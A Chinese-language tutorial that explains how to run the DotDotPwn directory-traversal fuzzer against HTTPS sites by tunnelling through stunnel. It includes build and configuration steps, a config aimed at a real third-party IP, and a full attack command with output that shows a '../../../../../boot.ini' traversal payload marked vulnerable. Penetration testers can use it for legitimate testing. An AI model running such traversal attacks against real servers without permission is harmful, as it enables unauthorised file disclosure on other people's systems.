DotDotPwn的https模式

参考：
http://www.spentera.com/2012/03/directory-traversal-with-dotdotpwn-https-mode/
https://www.stunnel.org/howto.html

使用stunnel程序，stunnel参考https://www.stunnel.org/index.html
stunnel是kali默认程序
可以通过https://www.stunnel.org/downloads.html页面下载安装
生成二进制文件：

1. wget https://www.stunnel.org/downloads/stunnel-5.07.tar.gz
2. tar vxf stunnel-5.07.tar.gz
3. cd stunnel-5.07/
4. ./configure
5. make
6. make install

生成SSL pem文件

root@kali:~# openssl req -new -x509 -days 365 -nodes -out stunnel.pem -keyout stunnel.pem

配置参数：

root@kali:~# cat stunnel.conf
cert = /root/stunnel.pem
#Some security enhancements for UNIX systems - comment them out on Win32
client = yes
#options=NO_SSLv2
debug = 5

; Service-level configuration
[https]
accept = 127.0.0.1:8080
connect = 206.190.36.45:443

[注意]此处使用的206.190.36.45是yahoo的ip，实际环境中需要替换成需要的IP。

运行stunnel

bash-3.2# stunnel /opt/local/etc/stunnel/stunnel.conf

如果没有错误，则没有任何log显示

验证HTTPS协议：

root@kali:~# nc 127.0.0.1 8080
GET / HTTP/1.1
Host:yahoo.com

HTTP/1.1 301 Redirect
Date: Wed, 05 Nov 2014 14:24:54 GMT
Via: http/1.1 ir8.fp.gq1.yahoo.com (ApacheTrafficServer)
Server: ATS
Location: https://www.yahoo.com/
Content-Type: text/html
Content-Language: en
Cache-Control: no-store, no-cache
Connection: keep-alive
Content-Length: 1450

然后就可以进行dotdotpwn测试：

bash-3.2# perl dotdotpwn.pl -m http-url -h 127.0.0.1 -x 8080 -O -s -u http://127.0.0.1:8080/cms/print.php?page=TRAVERSAL -k WINDOWS -b -q

[+] Report name: Reports/127.0.0.1_03-18-2012_23-59.txt

[========== TARGET INFORMATION ==========]
[+] Hostname: 127.0.0.1
[+] Detecting Operating System (nmap) ...
[+] Operating System detected: 
[+] Protocol: http
[+] Port: 8080
[+] Service detected:
Apache/2.2.4 (Win32) DAV/2 mod_ssl/2.2.4 OpenSSL/0.9.8d mod_autoindex_color PHP/5.2.1
[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (generic)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 14640

[=========== TESTING RESULTS ============]
[+] Ready to launch 3.33 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)

[+] Replacing "TRAVERSAL" with the traversals created and sending
. . 
[*] Testing URL: http://127.0.0.1:8080/cms/print.php?page=../../../../../boot.ini <== VULNERABLE

[+] Fuzz testing finished after 0.08 minutes (5 seconds)
[+] Total Traversals found: 1
[+] Report saved: Reports/127.0.0.1_03-18-2012_23-59.txt